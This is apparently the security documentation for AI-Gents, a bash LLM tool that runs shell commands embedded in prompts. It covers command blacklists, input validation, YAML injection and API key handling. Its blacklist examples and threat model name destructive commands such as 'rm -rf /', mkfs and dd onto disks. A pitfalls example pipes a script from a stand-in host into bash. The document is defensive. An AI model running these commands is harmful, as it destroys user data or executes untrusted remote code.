This document describes the security features and best practices for AI-Gents.
AI-Gents follows a "power++ user" security model:
- Users are assumed to be advanced terminal users
- Empty security restrictions by default
- User-configurable security controls
- No hand-holding, full user responsibility
The primary security mechanism is a user-configurable command blacklist.
When a prompt contains #!/command; syntax:
- Command is extracted from the prompt
- Checked against blacklist patterns
- Blocked commands show
[BLOCKED]in output - Allowed commands are executed
- Output replaces the command in the prompt
Create ~/.config/ai-gents/command-blacklist:
# Example blacklist file
# Patterns are bash regular expressions
# Dangerous file operations
rm[[:space:]]+-rf[[:space:]]+/
rm[[:space:]]+-rf[[:space:]]+/.*
# Filesystem operations
mkfs\.
mkfs\.ext[0-9]+
mkfs\.xfs
mkfs\.btrfs
# Disk operations
dd[[:space:]]+if=.*of=/dev
.*[[:space:]]>[[:space:]]+/dev/sd[a-z].*
.*[[:space:]]>[[:space:]]+/dev/null.*
# Network operations
curl.*[>|].*/etc/
wget.*[>|].*/etc/
# Privilege escalation
sudo[[:space:]]+rm
sudo[[:space:]]+dd
su[[:space:]]+-
# System modifications
echo[[:space:]]+.*[[:space:]]+>[[:space:]]+/etc/
chmod[[:space:]]+.*[[:space:]]+/etc/
chown[[:space:]]+.*[[:space:]]+/etc/- Bash extended regular expressions
- One pattern per line
- Empty lines and lines starting with
#are ignored - Patterns match anywhere in the command
# Match "rm -rf /" and variations
rm.*-rf.*/
# Match "dd if=... of=/dev/..."
dd[[:space:]]+if=.*of=/dev
# Match output redirection to /dev
.*[[:space:]]>[[:space:]]+/devAll LLM parameters are validated before use:
| Parameter | Validation |
|---|---|
| temperature | 0.0 to 2.0 |
| top_p | 0.0 to 1.0 |
| max_tokens | Positive integer, max 100000 |
| frequency_penalty | -2.0 to 2.0 |
| presence_penalty | -2.0 to 2.0 |
| seed | Non-negative integer |
| provider | Must match available plugin |
Invalid parameters cause immediate exit with error code 7 (E_VALIDATION_ERROR).
Agent creation uses safe YAML generation:
# SAFE: Uses yq --arg (parameter passing)
yq --arg name "$name" ".name = \$name" "$template"
# UNSAFE: String interpolation (NEVER DO THIS)
yq ".name = \"$name\"" "$template" # Vulnerable to injectionAll agent YAML files are generated using yq --arg to prevent YAML injection.
API keys are handled securely:
-
Environment Variables (preferred for CI/automation)
export AI_OPENAI_API_KEY="sk-..."
-
Credential Files (preferred for interactive use)
mkdir -p ~/.config/ai-gents/credentials echo "sk-..." > ~/.config/ai-gents/credentials/openai chmod 600 ~/.config/ai-gents/credentials/openai
- Credentials are never logged
- Not shown in process lists (passed via files or env)
- File permissions should be 600 (owner read/write only)
- No encryption (by design - users manage their own security)
Multiple layers protect against command injection:
- Blacklist filtering - Blocks dangerous patterns
- Double-check - Commands checked before execution
- No eval() - Commands executed directly, not through eval
- Safe parsing - Command parsing preserves quoting
- Configure your blacklist based on your risk tolerance:
# Start with basics
cat > ~/.config/ai-gents/command-blacklist << 'EOF' rm[[:space:]]+-rf[[:space:]]+/ mkfs. dd[[:space:]]+if=.*of=/dev EOF
2. **Review commands before execution** - AI may suggest commands
3. **Use credential files** with proper permissions
4. **Keep your system updated** - Bash, curl, jq, yq
5. **Monitor your config** - Regularly review `~/.config/ai-gents/`
### For Developers
1. **Never use eval()** with user input
2. **Always validate** all inputs
3. **Use yq --arg** for YAML generation
4. **Never log credentials**
5. **Follow the coding standards** (see CODING_STANDARDS)
6. **Add tests** for security features
## Threat Model
### Trusted Components
- User (power++ class terminal user)
- Local filesystem
- LLM providers (APIs)
### Untrusted Components
- LLM responses (may contain malicious suggestions)
- Prompt content from external sources
- Agent configurations from untrusted sources
### Attack Scenarios
#### 1. Prompt Injection via Command Execution
**Attack**: User pastes malicious prompt: `#!/rm -rf /;`
**Defense**: Blacklist blocks the command, shows `[BLOCKED]`
#### 2. YAML Injection in Agent Creation
**Attack**: Agent name contains YAML injection: `name: "value\nmalicious: true"`
**Defense**: `yq --arg` prevents interpretation of special characters
#### 3. Credential Exposure
**Attack**: Process listing shows API keys in command line
**Defense**: Keys passed via files or environment, not command line arguments
#### 4. Parameter Injection
**Attack**: Invalid temperature value attempts buffer overflow
**Defense**: Input validation rejects non-numeric values
## Security Checklist
### For New Installations
- [ ] Review default configuration
- [ ] Create appropriate blacklist for your use case
- [ ] Set up credential files with proper permissions
- [ ] Review agent configurations
- [ ] Test blacklist with sample commands
### For Production Use
- [ ] Document your security model
- [ ] Train users on command execution risks
- [ ] Regular security reviews
- [ ] Monitor for suspicious activity
- [ ] Keep dependencies updated
## Reporting Security Issues
If you discover a security vulnerability:
1. Do not open a public issue
2. Contact the maintainer directly
3. Provide detailed reproduction steps
4. Allow time for remediation before disclosure
## Security vs Usability
AI-Gents prioritizes **user control over hand-holding**:
- Empty blacklist by default
- No automatic restrictions
- User configures their own security
- Full responsibility on the user
This model assumes:
- Users understand their system
- Users can assess risks
- Users want control, not protection
If you prefer more restrictive defaults, configure them in your `command-blacklist`.
## Common Pitfalls
### 1. The "Copy-Paste" Danger
**Problem**: Copying AI-suggested commands without understanding them.
**Example**:
```bash
# AI suggests this "helpful" command:
You > #!/rm -rf /tmp/old-backups; clean up old backups please
# But your blacklist doesn't catch it because it's specific
Solution: Always review commands before executing. Never blindly trust AI suggestions.
Problem: Blacklist patterns matching legitimate commands.
Example:
# Pattern blocks too much:
rm.* # ❌ Blocks 'rm' anywhere, including in words
# Better pattern:
rm[[:space:]] # ✅ Only blocks actual rm commandSolution: Be specific with patterns. Test before deploying.
Problem: Not escaping special regex characters in patterns.
Example:
# Pattern intended to block 'echo > /etc/passwd':
echo.*>/etc/passwd # ❌ . matches any character, not literal dot
echo.*>/etc/passwd # ❌ Same issue
# Correct pattern:
echo.*>\/etc\/passwd # ✅ Properly escapedSolution: Remember blacklist uses bash regex. Escape special characters.
Problem: Thinking the blacklist makes everything safe.
Example:
# User configures blacklist:
cat > ~/.config/ai-gents/command-blacklist << 'EOF'
rm[[:space:]]+-rf[[:space:]]+/
EOF
# But then executes:
You > #!/curl http://evil.com/script.sh | bash; run thisSolution: Blacklist is just one layer. Review ALL commands carefully.
Problem: API key files with wrong permissions.
Example:
# Accidentally created with world-readable permissions:
echo "sk-..." > ~/.config/ai-gents/credentials/openai
# File is -rw-r--r-- (readable by anyone on the system)Solution: Always set proper permissions:
chmod 600 ~/.config/ai-gents/credentials/openaiSymptom: Blacklist pattern should match but command executes anyway.
Checklist:
-
Is the blacklist file in the right location?
ls -la ~/.config/ai-gents/command-blacklist -
Is the pattern valid regex?
pattern="rm.*-rf.*/" command="rm -rf /test" if [[ "$command" =~ $pattern ]]; then echo "MATCH"; fi
-
Are there syntax errors in the blacklist file?
# Test each line while read line; do [[ -z "$line" || "$line" =~ ^# ]] && continue echo "Testing: $line" [[ "rm -rf /" =~ $line ]] && echo " -> MATCHES" || echo " -> no match" done < ~/.config/ai-gents/command-blacklist
Symptom: First command execution doesn't show the safety warning.
Possible causes:
-
Warning file already exists from previous run
rm ~/.config/ai-gents/.command-warning-acknowledged -
No commands detected in prompt (check syntax:
#!/command;) -
Using
--safe-modewhich skips the warning
Symptom: Commands execute but API returns errors.
Debugging:
# Run with verbose mode
ai ask "test" --verbose 2
# Check specific provider connectivity
curl -v https://api.openai.com/v1/chat/completions \
-H "Authorization: Bearer $AI_OPENAI_API_KEY" \
-H "Content-Type: application/json" \
-d '{"model": "gpt-4o-mini", "messages": [{"role": "user", "content": "test"}]}'Symptom: Text appears in bursts instead of smoothly.
Possible causes:
- System under heavy load (high CPU usage)
- Terminal emulator issues (try a different one)
- Network latency spikes
Workaround:
# Disable streaming for smoother (but slower) output
ai ask "test" --no-stream- Added command blacklist system
- Removed unsafe eval() usage
- Added input validation framework
- Implemented YAML safety with yq --arg
- Standardized error handling with security codes